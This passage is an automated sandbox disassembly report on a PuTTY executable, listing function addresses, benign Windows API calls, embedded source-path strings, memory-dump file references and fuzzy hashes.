demo-server, xrefs: 00007FF67860C95B
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/config.c, xrefs: 00007FF67869F3A0
Default Settings, xrefs: 00007FF67860CA29, 00007FF67860CA75, 00007FF67860CA8D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/config.c$Default Settings$demo-server$demo-server-2
API String ID: 0-294979178
Opcode ID: 589f9e8e79dd31173eb59e23a9f425e712c61965e9abdc51a7d0c42d5eb83586
Instruction ID: ec33dfaf0a811189f4c0a9ef8b9b1977237fc462de4cf3ab0485bd3b9e95aeeb
Opcode Fuzzy Hash: 589f9e8e79dd31173eb59e23a9f425e712c61965e9abdc51a7d0c42d5eb83586
Instruction Fuzzy Hash: 30E11763B3968261EA109F32E9047BB6F91AB45FC0F694435CE4D977D6DE3CE844A308

Function 00007FF6785F51E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapDialogRect.USER32 ref: 00007FF6785F5200
CreateWindowExA.USER32 ref: 00007FF6785F526F
SendMessageA.USER32 ref: 00007FF6785F528A
SetWindowPos.USER32 ref: 00007FF6785F52C4

Strings

LISTBOX, xrefs: 00007FF6785F5290

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Window$CreateDialogMessageRectSend
String ID: LISTBOX
API String ID: 4261271132-1812161947
Opcode ID: 4675824aa6d38a0693fc2184b3d9715887497bee4671b815ee1fa70ff92b6202
Instruction ID: cbcda1e7e940ae546faa23a5a253dc3a61963b2becdcf0e87239caa86435bc28
Opcode Fuzzy Hash: 4675824aa6d38a0693fc2184b3d9715887497bee4671b815ee1fa70ff92b6202
Instruction Fuzzy Hash: 9F218F7361868187E7648F16F840A5ABBA0F758BA4F248135EF8D83B54DF3CE940CB04

Function 00007FF6785F9C10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F9CD1
SendDlgItemMessageA.USER32 ref: 00007FF6785F9CEB

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F9C72
c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list)), xrefs: 00007FF6785F9C6B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list))
API String ID: 3015471070-2883471717
Opcode ID: c90d57f835871b3c7a2068380126451181b6ba045c18c22e5594f4d080dd311e
Instruction ID: a0d7632cba9d6683b3dddaa6a00c800399a3994944aae1a606582bad0a4c0506
Opcode Fuzzy Hash: c90d57f835871b3c7a2068380126451181b6ba045c18c22e5594f4d080dd311e
Instruction Fuzzy Hash: CC219133B28A4596FB618B26E8807B97F90BB94B84F644035CE0D87791DE3DD841DB08

Function 00007FF6785FB080 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

SetCurrentProcessExplicitAppUserModelID.SHELL32(?,?,?,?,00007FF6785D51CB), ref: 00007FF6785FB0A2
GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51CB), ref: 00007FF6785FB0D1

Strings

Shell32.dll, xrefs: 00007FF6785FB0AF
SetCurrentProcessExplicitAppUserModelID, xrefs: 00007FF6785FB0C7

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressCurrentExplicitModelProcProcessUser
String ID: SetCurrentProcessExplicitAppUserModelID$Shell32.dll
API String ID: 3773935857-666802935
Opcode ID: 0f7a0512b40ab475cb57f40d5e68047ef61245add5cc39f49632a0cdccdf3a37
Instruction ID: 5463b9bd19fffa403fee2cfab67b40269213c0786c1d362e16755980acbac4e5
Opcode Fuzzy Hash: 0f7a0512b40ab475cb57f40d5e68047ef61245add5cc39f49632a0cdccdf3a37
Instruction Fuzzy Hash: BFF04F16E3A703A0FD95AB3598683322A986F24780F700434C40DC23A0EE3CFC45BA19

Function 00007FF678616460 Relevance: 6.1, APIs: 4, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF67861652D
RegOpenKeyExA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF678616551
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF678616565
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF678616576

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Close$CreateOpen
String ID:
API String ID: 1299239824-0
Opcode ID: ea6bdc6d0fe87ce883ce7ae428e77d2f7ab380fdb98498e39f7f47fe4c6a4590
Instruction ID: 4579977186eed10a6eb61b97f6f0b8f7bafe9b36066a8b13f670d8ad66f710ec
Opcode Fuzzy Hash: ea6bdc6d0fe87ce883ce7ae428e77d2f7ab380fdb98498e39f7f47fe4c6a4590
Instruction Fuzzy Hash: 0731E233E2879251E620CB65B851B2BAB94AB94BD4F600031EE8D87B59DF7CD841EB04

Function 00007FF678626440 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF678626459
GetWindowRect.USER32 ref: 00007FF678626467
GetWindowRect.USER32 ref: 00007FF678626479
MoveWindow.USER32 ref: 00007FF6786264D6

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Window$Rect$DesktopMove
String ID:
API String ID: 2894293738-0
Opcode ID: 20ecea4b81a27fe78413c901b6bf14b61497c1ef27ae127f0af0f9314dea5a0a
Instruction ID: 230517e177666fd829aa90b8244d139d2aba0a2e486cdeb4ac758269c4263c8a
Opcode Fuzzy Hash: 20ecea4b81a27fe78413c901b6bf14b61497c1ef27ae127f0af0f9314dea5a0a
Instruction Fuzzy Hash: C9119333B2851187EB10CB29F80451BBB60EBD5B90F649130EE8987B5CDE3DE9418F44

Function 00007FF6785F9B30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F9BD4

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F9B8F
c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list)), xrefs: 00007FF6785F9B88

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list))
API String ID: 3015471070-2883471717
Opcode ID: f2c6e618a18827751ec8177bb15fb0ac7d5fcf813854ffeaddd1338c36183962
Instruction ID: ca8e6b9f298134e8ada5857bcf7b8f81e30ffd0bce9e2b7409b13021a72d8a35
Opcode Fuzzy Hash: f2c6e618a18827751ec8177bb15fb0ac7d5fcf813854ffeaddd1338c36183962
Instruction Fuzzy Hash: BF210533B28A0591FBA08B26C8447A93B90FB99BD4F644035CE0D83790DE3CDC86CB08

Function 00007FF6786AAD1C Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,0000022102F9DBB0,00007FF67869AC4F), ref: 00007FF6786AAD35
FreeEnvironmentStringsW.KERNEL32(?,?,0000022102F9DBB0,00007FF67869AC4F), ref: 00007FF6786AADA7

Part of subcall function 00007FF6786A5070: RtlAllocateHeap.NTDLL(?,?,?,00007FF6786A3F1F), ref: 00007FF6786A50AE

FreeEnvironmentStringsW.KERNEL32(?,?,0000022102F9DBB0,00007FF67869AC4F), ref: 00007FF6786AAE06

Part of subcall function 00007FF6786A44E4: HeapFree.KERNEL32(?,?,?,00007FF6786A8382,?,?,?,00007FF6786A7F43,?,?,00000000,00007FF6786A8C14,?,?,?,00007FF6786A8B1F), ref: 00007FF6786A44FA
Part of subcall function 00007FF6786A44E4: GetLastError.KERNEL32(?,?,?,00007FF6786A8382,?,?,?,00007FF6786A7F43,?,?,00000000,00007FF6786A8C14,?,?,?,00007FF6786A8B1F), ref: 00007FF6786A4504

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: EnvironmentFreeStrings$Heap$AllocateErrorLast
String ID:
API String ID: 1848424169-0
Opcode ID: a45e6d22cd07cd63e0af45f8e0aec387eba93631c0cee08984bed8e70762c5ed
Instruction ID: 044e9115930f9e0cdd1af2cc133dbd9e3a492147ae3abfae350b9c1d091f4a76
Opcode Fuzzy Hash: a45e6d22cd07cd63e0af45f8e0aec387eba93631c0cee08984bed8e70762c5ed
Instruction Fuzzy Hash: 4831B723A2876295E664EF32644007B7EA0FF44BD1F644136EA8E83BD5DF3CE8115749

Function 00007FF6785F4A30 Relevance: 4.5, APIs: 3, Instructions: 35COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(?,?,?,00007FF6785F2CC6), ref: 00007FF6785F4A48
GetWindowLongPtrA.USER32 ref: 00007FF6785F4A5F
GetDlgItem.USER32 ref: 00007FF6785F4A8A

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Window$ItemLongText
String ID:
API String ID: 1037592912-0
Opcode ID: 2f7e87638be09f0d97eed6ddadb0bd939be1b2192e324775db65a7082ae107af
Instruction ID: 8f1f8556b9fecd82a0adc09b9972957f839501792e886a507da92a7f2cd83c97
Opcode Fuzzy Hash: 2f7e87638be09f0d97eed6ddadb0bd939be1b2192e324775db65a7082ae107af
Instruction Fuzzy Hash: 7BF0C813B25511C2FE195772A84467A2691DF55F90F348130C92DCA3E8DE2C9D83D70C

Function 00007FF6785F29F0 Relevance: 4.5, APIs: 3, Instructions: 18COMMON

Download Yara Rule

APIs

CreateDialogParamA.USER32 ref: 00007FF6785F2A14
ShowWindow.USER32 ref: 00007FF6785F2A22
SetActiveWindow.USER32 ref: 00007FF6785F2A2B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Window$ActiveCreateDialogParamShow
String ID:
API String ID: 4156068129-0
Opcode ID: 594769b5ef74b6407d61c6ea7239f5212f48eb2a6803754689cca1e48bf82949
Instruction ID: 7df9662346cd06a16cdf8539e01e845e47cb725331f0546ac4fc44865638e4ed
Opcode Fuzzy Hash: 594769b5ef74b6407d61c6ea7239f5212f48eb2a6803754689cca1e48bf82949
Instruction Fuzzy Hash: 83E0121AA39A2192F7049B35A8187762721AB98B50F504430CC5EC2764CF3CDA469E08

Function 00007FF678624D90 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowLongPtrA.USER32 ref: 00007FF678624DCD

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: e97cadac6e52da1d43d57e83d769fa2f00492fef06e9a45af8a1d9a733207641
Instruction ID: 35fd091c643fda16b6069d0cfb9a6ffd13ece808ff3d46c299b1601f46c73dd9
Opcode Fuzzy Hash: e97cadac6e52da1d43d57e83d769fa2f00492fef06e9a45af8a1d9a733207641
Instruction Fuzzy Hash: 28F08927710B5492EA01CB57DD446655B60F7A8FE0F248471DE0C83B54DE38D9979700

Function 00007FF6785FA20C Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32 ref: 00007FF6785FA1F1

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: b85605ddeebc4c515b878ddd3bba1f08587fade2082e769378aa296b3e607999
Instruction ID: e8e9c398a4296539c92a458506ffdc78b41e589feb806a13d182852222fadbee
Opcode Fuzzy Hash: b85605ddeebc4c515b878ddd3bba1f08587fade2082e769378aa296b3e607999
Instruction Fuzzy Hash: 4DE0E523A0904346E947DA26B4455691F80BB84BF4F818831CF0953281EF38DEC6D700

Function 00007FF6786A5070 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF6786A3F1F), ref: 00007FF6786A50AE

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 68853461a1403baadffb08df0f75db0ede80dfcaad64afb894515b0aba0f6205
Instruction ID: dfe0e85a5d3d112c59afac572fbde401d60dcd071d5f2ccaf63094be25f51d82
Opcode Fuzzy Hash: 68853461a1403baadffb08df0f75db0ede80dfcaad64afb894515b0aba0f6205
Instruction Fuzzy Hash: 00F05403A2A212A6FE54A7B158C56771A804F45760F290234D82EC53C6DE1CEC41655A

Function 00007FF6785FA1D2 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32 ref: 00007FF6785FA1F1

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: c70fe196b795f3c47ddd80d426c3a8baf32a1ec1110fd013186a2216e6d28506
Instruction ID: ea89ae6227470694891071a5886aaf8687ca3a4212cf6674d1ec2d659cd054c1
Opcode Fuzzy Hash: c70fe196b795f3c47ddd80d426c3a8baf32a1ec1110fd013186a2216e6d28506
Instruction Fuzzy Hash: 7DE0DF17B1A11246E887DB16B8404A90E00BB88BF1B904831CF1D97381EE3D9DC3A704

Function 00007FF6786162C0 Relevance: 1.5, APIs: 1, Instructions: 21libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67864A930: GetSystemDirectoryA.KERNEL32 ref: 00007FF67864A948
Part of subcall function 00007FF67864A930: GetSystemDirectoryA.KERNEL32 ref: 00007FF67864A9A3

LoadLibraryA.KERNELBASE ref: 00007FF6786162E9

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: DirectorySystem$LibraryLoad
String ID:
API String ID: 2489551175-0
Opcode ID: 27c62e6d549d8a15bceb22169e8481e9014216941cf5d71124ba8faee8632f71
Instruction ID: 94efbb22a36da23bf60089ffaa20496af257da09b11c0aee9a9791a0c7839e9a
Opcode Fuzzy Hash: 27c62e6d549d8a15bceb22169e8481e9014216941cf5d71124ba8faee8632f71
Instruction Fuzzy Hash: B5E0C202F2A2AA61FC48B73B3E596AA0A500F89FD1B644830CC0E87F46EC1CAD825304

Non-executed Functions

Function 00007FF678607010 Relevance: 249.1, Strings: 198, Instructions: 1553COMMON

Download Yara Rule

Strings

BugFilterKexinit, xrefs: 00007FF678608848
LoginShell, xrefs: 00007FF67860888B
